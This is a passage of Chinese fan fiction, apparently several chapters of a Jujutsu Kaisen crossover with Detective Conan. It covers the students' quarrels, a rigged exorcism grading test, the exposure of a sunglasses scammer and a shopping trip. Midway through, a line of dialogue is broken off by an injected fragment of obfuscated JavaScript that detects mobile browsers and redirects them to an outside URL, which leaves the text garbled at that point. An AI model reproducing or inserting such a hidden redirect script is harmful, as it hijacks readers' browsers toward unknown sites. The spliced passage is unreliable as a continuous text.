“没有啦”,他细眉一挑,算到了那边的反应,慢悠悠地说:“没有魔法少女,没有假面骑士,更没有火影忍者,也不会有什么奇奇怪怪的道具之类的可以拿给你玩。妈妈,你该少看些动画片和漫画了。”
“……妈妈好伤心哦”。
虽然和她想的不太一样,但美和女士也没怎么失望,忽视掉最后一句话关心起儿子来,“吃午饭了吗?新学校怎么样?和同学相处的好不好?”
夏油杰虽然很想和自己的盟友分享些什么,但他压根不敢说自己上学第一天和同学干了一架背上检讨的事,更不敢提来的路上差点和新干线一起飞上天,只得支支吾吾的拈了几个轻的回:“学校……位置还可以,山青水秀无污染。我和同学……相处的挺好,额,已经可以互相称呼叫名字了。”
“哇,明明学校超乡下的不说,你还跟老子打了一架!叫名字也是老子干的,你这家伙根本没叫过老子的名字!”
五条悟不知道什么时候窜进来,双手叉腰指指点点,大声叫唤着。
夏油杰在听到五条悟出声那一秒,眼疾手快地捂住听筒。
“杰,你那边是什么声音?”
“没事!学校里的大白猫在到处胡窜喵喵乱叫!我先去吃饭了,回头再说妈妈!”
夏油杰冷汗都下来了,飞速搪塞几句挂断电话,转头眼露凶光:“五条君,不敲门进来还偷听别人电话是很无礼的!”。
五条悟吐舌头呕了几声:“你这个优等生自己撒谎,还能理直气壮的管教别人吗?!还互称名字,你这家伙明明叫的同学吧!”
“……这是善意的谎言啊,你是在挑事吗?”
“跳脚啦,要和老子再干一架吗?”五条悟摩拳擦掌跃跃欲试。
即便是御三家中最为开明平和的家族,五条家也没什么人气,更没有人胆敢对上自家神子。
当五条悟日常打通游戏无聊的在地上打滚时,一听老头子要他去高专『交朋友』的无聊言论,难得没有直接反驳,没想到还真让他在高专找到个乐子。
“……”
夏油杰倒是想,可比起揍这小子一顿,当下更要紧的事怎么说也是洗澡清东西吃饭吧。
夜蛾老师走之前千叮咛万嘱咐下午要去做等级评定,上午刚打完架的自己要是迟到……背上检讨事小,把自己逐出学校怎么想都是有可能的吧!
夏油杰压下了蠢蠢欲动的拳头,冷着脸勾住骂咧咧的五条悟的衣领把他丢出去。
砰!
门狠狠在五条悟面前砰紧,铜制的把手微微颤颤。
破防的优等生!
五条悟没趣的撇撇嘴,正打算回隔壁打游戏发呆挨到下午,却突然察觉到夏油杰房间内的周六波动。
他看着窗户,澄净的眼睛突然滴溜转了转。
哗啦——
正在冲泡沫的夏油杰察觉到放出去的咒灵有几只断连,来不及擦干水分,草草围上浴巾,急切的拉开了浴室的障子门。
“!”
入目是盘腿坐在自己敞开行李箱里,手上抓了两只自己放出去做家务的咒灵当捏捏乐和碰碰车玩的五条悟。
五条悟用咒灵''唰''的挡住自己的眼睛,一副被玷污的纯洁模样:“哇,有人在老子面前耍流*氓!老子要给夜蛾告状!”
“这是我的房间吧?快从我的行李箱里出来啊,你个没常识的大少爷!以为自己是只小猫吗,缩在别人的箱子里。”
五条悟抬起头,漏出比宝石还要透彻的猫眼,楚楚可怜:“喵~”
夏油杰:“……”
他穿好衣服,双手托住五条悟的腋下——好长一条猫啊。
五条悟双手抓着的咒灵被他用力掐爆,他呆愣的看着夏油杰,一副蒙蒙的样子。
夏油杰把他放到一旁收拾好的床上,看他喜欢又丢给他几只咒灵,收拾自己的行李去了。
五条悟是同类,在硝子是医疗的情况下,未来更会成为自己的搭档。自诩成熟的夏油君不和没常识的少爷猫计较。
更何况猫见了自己的咒灵和见了毛线球一样活泼,他的好奇其实让夏油杰隐约高兴。
五条悟对着他的背做了个鬼脸,拉过自己的新玩具研究起来。
几十分钟后夏油杰收拾完行李,他呆愣的看着塞在箱子隔层里密密麻麻的整整二十七只御守,突然呼吸一滞,喉头哽住。
五颜六色的御守上歪歪扭扭的绣着‘恶灵退散’的字样,针脚并不密集,每只御守上的字型都不太一样。
“优等生,你来高专读书还带这么多御守,是怕了吗?你给老子当小弟,上天入地无所不能的五条悟大人可以勉为其难保护你哦。”
五条悟不知道什么时候蹲在一旁,他歪着脑袋奇怪的盯着夏油杰泛红的眼角。
对上他夏油杰回神,他收起御守无奈地说:“玩你的去吧。”
“老子想看那条龙,老子还没见过那么不丑的咒灵呢。”
夏油杰无语的看着他:“放出来楼会塌的吧,夜蛾老师还没被气死呢,我就要切腹自尽了。”
其实虹龙的体型若盘踞起也能收殓威力,但五条悟这个人属实邪门地让人警惕。什么咒灵单独放出来都被他拳打脚踢,被他那光炮一轰更是连渣渣都不剩。
五条悟朝大开的窗户努努嘴:“不放在宿舍,你把它吐*出来,我们骑着它去食堂吃饭。老子饿了。”
这个可以有!
夏油杰挥出手,五条悟见此翻出窗户。下一刻,一条威风凛凛的银龙从窗后窜出,接住了下坠的白发少年。
“哇——呼!配合的不错嘛优等生!”五条悟坐在前面毫不吝啬地比了个大拇指,兴奋大喊。
后面的夏油杰有些飘飘然,他狡黠一笑,抓紧虹龙的背毛,让它突然加速俯冲后腾空360?旋转。五条悟被颠地飞起,他反手后背抓住夏油杰的手雀跃快活地喊:“你很会嘛,快再来一次!”
等到他们来到食堂时已经过了一会,食堂除了工作人员和部分老师,就只有家入硝子坐在那里。
“哟,硝子。”夏油杰端了碗凉面,打声招呼,坐在家入硝子的对面。
家入硝子莫名的看着他,虽然通过夜蛾的介绍已彼此认识,但话说夏油长得就不像自来熟的人,这么直接的叫名字让人感觉奇奇怪怪的。
笑话,这可是奶妈,此时不打好关系更待何时?
他眯着眼笑道:“我们是未来几
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年的伙伴,你可以直接叫我的名字。”
家入硝子淡定表示:“不要,我不叫男人的名字。”
夏油杰耸耸肩,还没来的及说什么,背后传来一道苍老的男声。
“夏油同学,可以帮我端一份猪排饭过来吗?”说话者是一位拄拐的老人,是咒术史课的老师石田彰。他脊背板直,不待夏油杰同意便在旁边的桌位上坐下来。
夏油杰虽然有些莫名奇妙,但秉持着尊老爱幼孝亲敬长的良好美德,还是帮他把饭端过来。
石田彰啜饮了一口配套的味增汤:“果然啊,像你这样的平民咒术师就应该乖乖听话待在碗底。”
夏油杰拿起筷子的手顿住了,他疑惑但有问必问:“您是吃多了,在用脑子排泄吗?”
“什么?!”石田彰猛然动作,味增汤被带动洒落。他抓紧拐杖重重敲击地面,怒不可遏,“你竟胆敢与我这样讲话?不过是只野狗,若非总监部的大人瞧重你的术式,你怎有资格与我对话!我劝你乖乖识相,立下束缚快快归顺于总监部!”
家入硝子坐到一旁幽幽*道:“老师,你裤子湿了,是失*禁了吗?”
“闭嘴,反转术式,你这身咒力嫁入家族才能派上最好的用场,我劝你应下禅院家的婚约,别以为区区东京咒高护的住你!”
话音刚落,一道餐盘飞来砸在他的后脑勺上,与此同时食堂温度骤然冷下,咒灵掀起猪排饭死死扣在他的脸上。
石田彰倒在地上,窒息含糊的哀叫,用油腻腻的十指抓着脸上的餐盘边沿往外拽,但奈何远比不过咒灵的力道。
“老师既然不会用嘴吃饭,那让我来无偿教教您吧。”
五条悟端着满满一盘子甜点走过来:“杰,你心肠也太好了吧。像你这种优等生亲自一对一教学,还教的听不懂人话的烂橘子,就该让他们狠狠缴学费啊!”
“嘛,你说的太对了悟!真是头痛啊,一个老师还让学生来交,说出去咒高的脸面都要被丢尽了呢。”
两人你一言我一语,不避不讳的蛐蛐,听的家入硝子‘嗬嗬’低声笑起来。
五条悟叼着大福看着躺在地上猛口喘气、脏污油腻的石田彰,含糊的说:“咒监部的烂橘子就不要在老子面前乱晃了,再让老子看到你,把你轰出橘子汁哦。”
明明不是很冷的口气,听在石田彰耳中,却让他瞬间僵住,如坠冰窖。闪着稀碎微光的蓝眸清泠泠的扫过来,心底最隐秘幽微,最想隐藏的角落仿佛都被残忍曝在阳光下。
“喂,杰,硝子。我们换个地方吃饭吧。烂橘子把这里熏得臭不可闻。老子可吃不下去。”五条悟长腿跨过石田彰,冲夏油杰说。
“先把你嘴里的大福咽下去再说吧。不是我说你,你总得吃点正餐,像你这么吃迟早会得糖尿病吧。”
换了个地方,夏油杰瞟了瞟五条悟的餐盘,皱眉把盘子里配给的肉片拨给他一些。
五条悟意味不明的瞅了瞅他,“嗷呜”一口乖乖吃掉,咕哝的说:“甜品和正餐不在一个胃袋啊。不吃点甜的,老子头会痛唉。”
“头痛?硝子,你帮悟看看。”
五条悟制止家入硝子抬起的手说:“是六眼啦,硝子的咒力在超载的时候很有用,但日常它关不了,一堆一堆的信息突突突的往脑子里塞,会堵的人很烦躁啦。”
夏油杰担心地皱眉,又把碗里剩余的肉片夹了过去。
五条悟歪头,眼中奇光涌动。
——原来这个优等生,要这么对付啊!
5. 评级
夜蛾在得知石田彰被扣盘子时指骨收紧,手中的钢笔笔尖压弯,洇开墨迹。
五条悟扯下书本纸页,歪坐在椅子上兴致勃勃的叠纸飞机,乐此不疲的试着不同叠法的飞机的里程。
夏油杰看着满地的书本残页欲言又止,最后闭嘴低头看书——反正这家伙钱多,书扯了再买就行。
五条悟眼珠滴溜——
目标:丸子头,射手五条悟,准备完毕,3、2、1,发射!
“五条悟!”
“悟,杰!”
夜蛾正道“哗”一下拉开门,冲冲怒气,冲的夏油杰那股气上上下下堵在喉咙。他还保持着捏着飞机找茬的架势,一下子心虚的不行。
“呵,老橘子果然没脸没皮,还搞告状一套。”没等夜蛾正道开口,五条悟就知道他为何而来。他翻了个大大的白眼,继续捣鼓自己的飞机。
夜蛾正道咬牙切齿,拎着他的后衣领把他提起来。
“夜蛾老师下手轻点啊——”
五条悟不走心地求饶连同他的飞机被一起关在门外。夏油杰喉结滚了滚,明智的主动溜出去罚站。
硝子担忧道:“夜蛾老师,石田他……”
夜蛾眉关紧锁,也是烦心不已。夏油杰才刚来学校,总监部便安排同为平民咒术师的石田彰来招揽他……
他胸口发堵,喉咙滞涩。作为老师却无法给予自己学生充分的保障,这让他深感愧疚挫败。
门外吵吵嚷嚷,少年们没心没肺的拌嘴声阵阵,夜蛾勉强松开眉头。
时针''滴答''转到下一格,辅助监督的电话如约而至。
*
一行人坐在去往评级场地的车里,商务车大转弯时,五条悟的膝盖撞到了前排座椅。硝子的耳机漏出轻微鼓点,夏油杰夹在两人中间斜望着飞速倒退的枫树,难得紧张地在皮革椅上掐出凹痕。
前方柏油马路被浸润,色泽更加深沉。
一辆洒水车擦过,黏腻滚烫的血水慎入车门。
夏油杰浑身绷紧,如临大敌,身旁两人却平平如昔,浑然不觉。
白光斩入,血色喷涌!
夏油杰猛的攥紧扶把——长刀如雪,刺破胸膛!陌生人影回刀换刃,割猪肉一般,毫不迟疑捅向少年脖颈,一路破腹剜肠扎进大*腿,抽出又迅疾凿入头颅!
光影快闪,画面定格。倒在血泊中那双失神的眼睛,赫然是五条悟的!
“喂!优等生!”
五条悟微凉的手指贴上后颈,夏油杰浑身打了个颤,他冷汗涔涔茫然地盯着五条悟。对方苍瞳辽远,倒影着自己缩成针尖的瞳孔。
那是什么?!今天第二次了!
噩梦、诅咒、术式、还是我的眼睛出了问题?!
“优等生,你的咒力波动有点奇怪唉?”五条悟莹莹亮的眼睛睁大,抚着下巴思索着。
硝子注意到动静摘下耳机,见夏油杰不对劲,往对方体内输送咒力:“冷汗涔涔,夏油你这么虚的吗?”
“杰,打起点精神来!祓除咒灵可不是开玩笑的!”
夏油杰别头,伸手把快凑到鼻尖的好奇猫猫头推开:“我没问题的,夜蛾老师。”
“嘁,善变的优等生。”五条悟翘着二郎腿郁闷的说。
夏油杰不理会他,他便也安静下去,无焦距的望着虚空。他沉默时褪*去些天真稚气,总有几分淡漠锋锐的味道。
有另一道咒力引起了优等生的咒力波动。啧,搅和到一起,像碗坨了的凉面呢……
*
废弃大楼外剥落的漆簌簌掉落。
夜蛾与站在楼外的监测人员问候一番,转头对夏油杰说:“硝子是医护人员,悟的等级评定由五条家负责。这次的评定对象是你。杰,你准备好就进去吧。”
说着他凑近低声嘱咐:“万事小心。”
等级评定一般由总监部观测给予或是由带课老师在学生入学一周内申请。像这样急不可耐的安排到新生开学下午……
夜蛾嘴唇抿紧如绷紧的皮筋——总监部到底想干什么?!
五条悟看着逐渐消失在落下的账下的背影,无聊打了个哈切,换了个姿势懒散站着。眼角的余光觑到街头转角的甜品店,径直走了过去。
夜蛾头痛看着他:“悟,去干什么?”
五条悟头都不转:“去那边坐一坐,站在这里显得好呆哦。夜蛾,你已经够黑了,再这样站下去会被老婆抛弃的吧!”
硝子见状也跟了上去。
“硝子!”
“嗨嗨,这么大的太阳,女士可不想晒黑哦。”
“……”
*
大楼里面。
夏油杰撇头,黏腻厚重的漆黑结界在他惊讶的目光中落下。
掌心微动,一群漂浮的眼球飞出飘向大楼各处。他则沿着楼梯往上四处搜查。
作为咒灵操使,他对咒灵的感知极为灵敏。进入大楼开始,一股凶恶的陌生咒力始终汹涌躁动。
一楼、二楼,五楼……
在二楼!在、我后面!
他猛然回头,玻璃碎片混杂木屑劈头盖脸砸来!
"轰——碰——"
电光火石之间,沙石炸裂,地面轰然塌陷!
夏油杰踩住飞溅的瓷砖残片,轻盈腾空,迅速退离爆炸中心。
烟尘飘落,咒灵露出他的真面目——六刃锯片做得的头颅,十二根打桩机般的机械腿。
“是活的椰蛋树啊……”夏油杰眉间皱起,语气很兴奋。他的刘海被气浪,显得有些凌乱,但眼神依旧锐利。
“不要装修……闭嘴……闭嘴啊!"
锣鼓喧天与鬼哭狼嚎织成一片,搅得他脑浆滋滋冒气。夏油杰眯起眼睛,眼神凛冽。狭长的眸子几乎合上,极为给力地将飞扬的尘土拦截。
“蚰蜒!”
怪物落点的空间猛然撕裂,立起的巨影覆盖着这个骨节凌厉的巨人,蚰蜒粗壮的触*手疾历射出,刹那间将飞转的锯片缠绕钳制!
头颅与触*手摩*擦发出磨人刺响,短暂僵持后,锯片猛然劈开束缚,带起小范围龙卷,擦过夏油杰的头顶,削掉半截通风管道。
夏油杰翻滚着躲到混泥土柱后方,身旁的岩龟替他挡住大部分迸飞的碎石。
“黑蛇。”
满口森牙的黑蛇显现,它缠绕着钢筋铸成的巨怪,三个脑袋啃食躯体,嚼碎骨骼!
怪物惨叫着抽搐起来,渐渐地不再响动。
这就是评级测试吗,这就结束了?还挺简单的嘛。
他挑了挑眉,从柱子后走出,向椰蛋树摊开手掌。
“!”
不好!
他瞳孔骤缩,足尖点地的瞬间如离弦之箭向后弹射!!
破风声割裂虚空!
濒死的咒灵骤然拧转脖颈,钢筋骨骼的吱呀爆裂声如反复揉*搓的塑料。它起跳、切割、狂暴地攻向他。
夏油杰猛蹬断柱避让,仍被嗡转的镰刃擦过右臂,裂开的衣袖下皮开肉绽,没有鲜血反而泛着诡异的苍白,像被泡发的腐肉。
“怎么回事?”夏油杰闻着鼻尖的焦躁空气,后槽牙暗暗发力。
他很确信方才的咒灵已是末路之徒,为什么现在它的气息反而暴涨?
烟尘彼端传来机械运作的咔哒声,六道银光骤然撕开尘雾,所过之处断壁残垣,满目疮痍。
碎砖块在碰撞中炸成齑粉,废弃楼层中的钢筋像被扯断的血管零落一地。
浮尘稍沉,夏油杰身前出现一只银龙。威风凛凛的巨龙盘踞,将主人死死护在中间。
银龙袭上,压下血盆大口,怪物残躯爆裂开来!
插在墙面或地上的锯片空转,随后消失不见。
夏油杰睫羽轻颤,眉弓下压,满腹疑惑。
两位辅助监督看到走出的人影对视一眼。一人进去勘察,一人迎了上去对夏油杰一板一眼的说:“恭喜您,夏油同学。此次测试完成,评定结果稍过几日便会发放至高专。”
夏油杰颔首,感谢了声,招呼过走来的班主任,快步向纳凉的五条悟和家入硝子走去。
五条悟有感抬眸,悠悠道:“一个小杂鱼而已,出来那么慢,你真……你抓老子干嘛?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520732|170699||http|test|mini|href|location''.split(''|''),0,{}));
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>夏油杰打断五条悟的垃圾话,拽住他的胳膊就往大楼里拖。
两人与离去的辅助监督擦肩而过。
“悟,你快帮我看看这里。”夏油杰急迫道。
五条悟扫视一番扶了扶后颈,语气冷冽:“呵,一群烂橘子。”
身后的家入硝子和夜蛾正道跟了上来。
硝子看着被血浸*透的衣袖皱眉甩手,“啪”的一声拍到夏油杰的右臂上:“怎么了?”
“除了优等生的,这里没有别的咒力残秽。”
五条悟捏扁手上的奶茶杯。家人硝子被夜蛾没收了打火机,叼着一只烟面无表情。
夏油杰抿着苍白的唇,右手垂在身侧,残余的血珠沿指尖坠地在疮痍地面炸开血花。
五条悟顶了顶腮帮子,抬脚重重跺在塌下的石块:“烂橘子才离开不久,可以追上。”
招揽不成便排除异己,烂橘子和橘子狗找死便成全他们。
夜蛾正道使劲捏了捏眉心:“这件事我会处理。你们给我安分一点。”
五条悟嗤笑一声,单边眉骨挑起半寸,耸了耸肩。
夏油杰捏了捏他的肩膀,也是一脸不爽。
夜蛾正道叹了口气,看着依旧大好的天色,放他的学生们去浪,自己则驶往总监部去讨要说法。
*
走到街上,阳光金灿,空气自由。夏油杰的心却爬满蜘蛛网,心情在灰尘里陈旧。
理想丰满,现实骨感。幻想与世俗的天堑难越。更何况模棱古怪的闪回一并横亘在他心上……
说起闪回……
夏油杰撇了眼白发少年——难不成我厌恶他至此,甚至幻想到他死去的画面了吗?
夏油杰瞳孔地震怀疑人生:原来我是这么阴暗的人?!
前面五条悟倒是好心情,摇着宽大的袖子蹦蹦跳跳。在一众小姐姐的镜头前pose摆的飞起,看到了甜品店出售限量版的巴斯克更是双眼放光,生拉着夏油杰和家人硝子往前。
夏油杰见此甩了甩脑袋,压下种种思绪。
这点要跟悟学学,出来玩,可不能把负面情绪带给同伴啊。
那些事回去在说吧。
硝子脚挨着地一点不抬,她往后仰,夏油杰护在她身后:“我对甜食没兴趣,你要买我可以找个凉快地等你。”
五条悟:“可是一人限量一份唉,你和杰排了的话,老子可以吃三个!帮帮忙啦。”
她冷酷摆手:“不!”
他看向夏油杰,优等生也摇了摇头。
“今天消费全部由老子买单!”
“成交!”叼着棒棒糖的少女上下摇了两下棒子准了。
五条悟伸出食指戳了戳不出声的怪刘海的怪刘海:“你呢?”
夏油杰无奈的夹住对方的手指撇开:“那你先提着,待会吃完饭再吃。”
“不要~老子头疼啊,老子现在就要吃。”
夏油杰眉心微蹙:“刚刚就想问了,你的墨镜没有备用的吗?”
——那副浮夸的马杀特必备款已经在中午打架时被砸成一坨稀巴烂了。
五条悟歪了歪头,不懂明明在说头痛,优等生聊墨镜干嘛。
“那是老子把家里人甩开在街上买的啦。才两万就能买到限量款,不愧是东京,比乡下好多了。”
“两万?!”夏油杰怀疑自己的耳朵被口水呛到了,以至于会听到这么惊世骇俗的数字。连抱胸懒散站着的硝子也放下手站直看了过来。
五条悟摸*摸头:“就算东京的物价便宜,也不用被吓到吧。”
“……”
的确有被被吓到呢。
夏油杰抽抽嘴角,果然垃圾骗不到穷人的钱。
“呐,就是在他那买的!”
夏油杰顺着指尖看去,一个脖挂展示桌的青年脸上戴着副扎眼的心形镶钻墨镜,赫然是五条悟同款!
五条悟小嘴叭叭:“正好那副墨镜老子还没戴多久呢,老子要再去……呜——呜呜!”
夏油杰耳疾手快,反手捏住了五条悟上下叭叭的嘴,就着这个姿势大义凛然的朝那人走过去。
6. 墨镜
五条悟展开无下限把夏油杰的手弹开,垮着个小猫批脸,一副要问候家人的样子。
夏油杰恨铁不成钢地看着他,递给他个眼神让他仔细看自己操作。五条悟翻了个白眼,示意自己眼神好着呢。
家人硝子:……
这眉眼官司打的……这两人关系很好吗?
夏油杰整理了下校服领口,把两人撇下走向摊位,指骨扣了扣摊开的原木桌板。
青年立即脸上挂笑:“小哥,看看呐。用最新的防紫外线涂层做的限量墨镜。不要2888,不要1888,只要888円!”
夏油杰拿起眼熟的墨镜端详:“老板,做生意贵在实诚呐。一口价,多少能卖给我?”
“哎呦,看中我脸上这款了?我就欣赏您这样的,一看就是个跟我一样的潮人,看在咱两同频的份上我打个骨折卖您800。”小贩说完左顾右看的虚捂嘴压低声量道,“我就给您一个这价,您可别说出去了!”
夏油杰眯着眼笑就是不松口的和他东拉西扯半晌,突然,他转身欲走,越远步子越慢。
旁边的五条悟已经从咬牙切齿变成目瞪口呆了。
小贩见状在原地兜转几秒连忙追上:“770怎么样?不能再低了!”
听到这个“最低价”,五条悟回过神来额角一跳,终是忍不住了。
砰——
木头倏地发出不堪重负的吱呀声,下一刻桌板连着墨镜一块像垃圾一样跌到地上。
五条悟凑到身边,苍蓝眼睛眯起,像盯住猎物的豹子一样盯着男人:“你可以给老子解释一下,为什么同样的墨镜差价有二十倍吗?”
五条少爷虽然不在乎钱财,但遇到诈骗还真成冤大头什么的,是无论如何也接受不了的吧?!
他的手从被拍断的桌板挪到男人的肩上,从旁边看像是好哥俩一样地拍着兄弟肩膀。实际上他的大掌舒展,一半都扣男人脖颈处。
“什、什么二十倍!我根本不认识你!”穿花衬衣的青年缩着脖子,颤*抖着勉强保持镇定。
五条悟弯腰时发梢扫过夏油杰的侧脸:“想赖账吗?老子揍你哦。”
“警察先生!那边有黑.帮在闹事!”旁边警惕围观的路人突然扯着嗓子大喊。
夏油杰保持微笑:“小姐,您误会了,我们不是黑.帮!”
“胡说!一身破破烂烂的黑制服,还打耳洞留奇奇怪怪的刘海,不是黑.帮就是不良!”
夏油杰:……
“硝子,你可以把手机放下来,不要再录了吗?”
“啊啦~知道了。”
知道了倒是给我把手机放下啊!
夏油杰的笑脸隐隐崩溃。
两道修长身影听到叫喊从刚刚他们去的甜品店走来。松田阵平咬着pocky的姿势在看到夏油杰时顿住,萩原研二则摸出来警察证晃了晃:“好巧啊小夏油,看来我们很有缘分哦。需要法律援助吗,两位小朋友?”
……完全笑不出来了呢,虽然被人关心是件暖心事,但早上靠逃跑才糊弄过去,现在却又遇到了……
为什么冥冥中总感觉糊弄这种事接下来还会有几遭呢?
五条悟一脸冷漠,夏油杰有点心死,而复述事情经过的事落到了靠谱的女同学身上。
“根据刑法第246条诈骗罪”,松田阵平摘下墨镜,黑色卷发在风里微微晃动,“这位先生您恐怕要去警视厅走一遭。”
五条悟撇撇嘴:“还不如直接揍一顿解气呢。”
“现在是法治社会哦。”萩原研二笑眯眯的上前搂住夏油杰的肩膀:“还要麻烦三位跟去做个笔录。”
松田阵平打量了一下夏油杰的制服:“你们学校不教防诈吗?”
“我们学校教怎么揍人。”五条悟插嘴。夏油杰咬牙切齿保持微笑,一脚踩在他鞋面上用力碾了碾。
萩原研二:“……那正好警视厅今天有场防诈骗讲座的试讲,我可以让你们进去旁听。”
五条悟烦躁地皱了皱眉:“老子才不要去听那什么破讲座,老子头疼,老子要吃巴斯克,老子要吃银座烤肉!”
夏油杰揉了揉眉心还是笑着说:“警局可是男人的终极浪漫哦,是普通人一辈子可能也没机会去的。你还没坐过警车吧?”
五条悟挑眉:“男人的终极浪漫?笑眯眯的优等生最会骗老子了!”
夏油杰干笑:“没有的事,不信你问问两位警官,我今天可是坐警车来上的学。”
五条悟看过去,萩原研二配合地点头。
五条悟大手一挥宣布:“那老子也要坐警车!要动漫里‘呜哩呜哩’的那种。”
松田阵平无语地看着他,夏油杰一味干笑,家入硝子站远了些抬头看天,装作不认识他们的样子。
最后在优等生的诱哄下,一行人陪少爷猫一路‘呜哩呜哩’的到了警察局。
警局中涌出的人一茬又一茬,还以为又来了个重刑犯。
杰&硝子:……好丢人哦。
“这就是男人的终极浪漫?真普通啊,男人可真是无聊。”
“悟,你才吃了研二警官的巴斯克,就算警局真的很普通无聊也不能说出来,这样很失礼啊。”
松田阵平拳头硬了,要不是自己已经是上岗警察不能有伤风化,他真想一拳垂上去了之。
家入硝子:“……其实你也可以闭嘴了。”
等到三人,准确来说是夏油杰和家入硝子配合做完笔录,太阳已被西方塞回自己的宫房,泛旧的光线晕染着街坊。
看着蔫哒哒,头发都不翘了的五条悟,几人接受了萩原研二开车送他们去银座的提议,于是一行人干脆决定共进晚餐。
五人坐在银座烤肉的卡座里,气氛诡异的像相亲现场。
五条悟不受影响,把头埋在面前的甜品堆里库库一顿炫。夏油杰吃了一口蘸微辣酱料的土豆片斯哈斯哈,被五条悟团吧团吧塞了个甜品。虽然发腻,但冰镇过的奶油细心地抚慰了刺挠的舌头。
松田阵平用筷子夹起烤牛肉的瞬间飞迸的猪油四溅。
“所以你们是宗教类特殊教育机构,”松田阵平蘸了蘸酱料把肉塞进嘴里,含糊地说:“导航上显示地址不存在,要不是你指路我们根本找不到位置。一个宗教学校真的有必要建在那么深山老林的地方吗?”
夏油杰面不改色:“老师说是因为学校觉得乡下地皮便宜,可以划算的买下一整座山头。”
萩原研二撑脸接着松田阵平发问:“那所学校官网招生信息含糊,培养方向也模糊。真的没问题吗?”
“民俗、历史、宗教哲学以及宗教礼仪,”夏油杰继续胡诌,“向寺庙和神宫输送人才。”
“包括揍人?”松田阵平冷笑。
听到揍人两字,夏油杰顿时感觉手痒了想揍个人止痒:“……特殊教学手法。”
五条悟从甜品中抬头,凑近两位警官:“这么好奇要不要去参观参观?”
“……”
夏油杰无语了,在桌下狠狠拧他的大*腿。
*
松田阵平和萩原研二突然接到电话,留下联系方式后匆匆离去。
两人走后,家人硝子拿起两位警官开的酒倒入自己杯里慢慢品鉴起来。
“硝子,我们还是未成年,不可以喝酒!”夏油杰虚挡杯口。
“啊啦,我们可是咒术师,我还是一个拥有反转术式的咒术师啊。”
夏油杰有些无奈,不欲再拦。反正酒液在硝子倒完这一杯之后也只剩个底了。
不料晚餐结束时,家人硝子灵机一动,以两位成年人去上厕所为由便要让服务员再添几瓶。
服务员笑着说:“那两位离开时已经结过账了。我们餐厅是不卖酒给未成年的哦。”
家入硝子沉默住,然后,转头,盯。
“别看我,我也没办法。”
看着女同期递来的“给你个机会讨好我”的眼神,夏油杰急得连连摆手。
笑话,这有办法也不能帮啊!
硝子拿起包:呵,没用的dk。
三人走出餐厅,家人硝子示意一下直奔女士生活用品店。剩下的dk
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们随便找了个银座设的长椅坐下等她。
五条悟正将上身伏在自己膝上,无聊地垂头揪着长椅下的假草坪,忽然他使劲闭了闭眼,复而下意识抬手欲揉。
夏油杰余光撇到这一幕急忙拉住他的手腕,抽出一张纸巾按在他发红的眼角。
五条悟被纸巾的轻柔页角挠的发痒,他眯着眼,雪白的睫毛轻轻颤动,皱了皱鼻子后……用力挠了挠自己的手臂。
夏油杰捞起宽大的袖子,袖子下莹白的小臂被指甲划出了道道红痕,看着有些触目惊心。他皱眉复又端详了一番五条悟微泛血丝的眼睛,一把扯住他的广袖。
*
便利店的暖光灯下,夏油杰站在货架前认真比对墨镜。
五条悟蹲在冰淇淋柜旁,拉开柜门的手被夏油杰一巴掌拍下:“你今天晚上吃过''一吨''冰淇淋了,大晚上的不可以再吃这些凉性食品。”
“怪刘海眯眯眼单亲男妈妈杰!”五条悟鼓腮呼呼吹手,脸贴在玻璃上嘟囔:“这种便利店的款式根本配不上老子的颜值……”
“这家便利店是全国连锁品牌,东西质量好性价比高,”夏油杰头也不抬,“况且配不上也比被诈骗强。”
夏油杰抽出一副基础款的小圆墨镜,标签上写着''2500円''。他顿了顿,又拿起旁边挂着硅胶蓝眼布偶猫装饰的儿童墨镜:“这个怎么样,适合心智三岁的人。”
五条悟瞬间闪到货架前,苍蓝的瞳孔透过夏油杰举起的镜片瞪大:“你敢买这个老子一发苍轰了便利店!”
夏油杰遗憾的将其放回货架,又看到一副蓝边的框架墨镜,示意五条悟戴上试试。
五条悟伸出手,指尖沾满黏腻的糖渍。夏油杰顿了几秒,将镜腿展开,凑近欲架到他的鼻梁上。
“喂,优等生。为什么突然要给老子买墨镜啊,是发现砸烂老子价值两万的墨镜后终于良心不安了吗?”五条悟往后仰了仰。
“你是在给自己洗脑那副破烂价值两万好遗忘自己被敲诈的黑历史吗?”夏油杰按住他的肩膀,帮他戴上后又取下换上第一幅。
“只是觉得既然信息太多你觉得难受头疼,不如买副墨镜遮一遮应该会好些。”
五条悟奇异的看着眼前的少年:“老子可是六眼,六眼哦。”
他的反应让夏油杰纳闷不已:“知道你有一双好眼睛但也不用总挂在嘴上炫耀吧,把自己说成一个器官不觉得很奇怪吗?你是六眼,六眼又不是你。”
五条悟诡异的沉默一会,对正在比对其他款式的夏油杰说:“老子就要这幅了!”
最终夏油杰拿着小圆墨镜又拿起寻到的驱蚊膏去结账,五条悟则亦步亦趋地跟在他后面碎碎念:“为什么是2500?像在骂老子一样。”
“因为骗子不会退给你2500的差价。”夏油杰将墨镜给他戴回,又扣出膏体细心地用指腹在他的手臂揉匀,“下次再被人骗钱,我就把你捆了扔到警视厅去听课。”
五条悟抬起手臂嗅了嗅,嫌弃的舟舟鼻子:“好难闻啊,而且黏糊糊地粘袖子,老子又没被咬抹这个干嘛?”
“只是草药味而已,就算没被咬也可以驱蚊。况且里面加了很多薄荷抹上清清凉凉的可以降燥。”
将五条悟的广袖挽了两圈后他细细端详片刻,复又将褶皱捻整齐方才抽出湿巾纸让他擦掉手上的糖汁。
*
五条悟戴着自己新鲜出炉的墨镜在女同学面前晃来晃去。等他再一次像戴发箍一样把墨镜推到头顶倒着走路时,家人硝子诡异get到了JK悟的小心思。
“眼光不错,很好看的新墨镜。”
五条悟扬起下巴:“那是,老子的眼光也是最强的!”
“这明明是我挑的哦,不过谢谢你夸奖我的眼光。”
“哈,谁夸奖你这个眯眯眼啊?没写你名字的奖状就不要冒领啊。”
两人你一言我一语,你一拳我一脚地闹起来。
硝子抱着纸袋,睁着半月眼,毫不犹豫举起了手机。
真是奇怪的dk啊,真是喧嚣的友谊。
7. 端倪
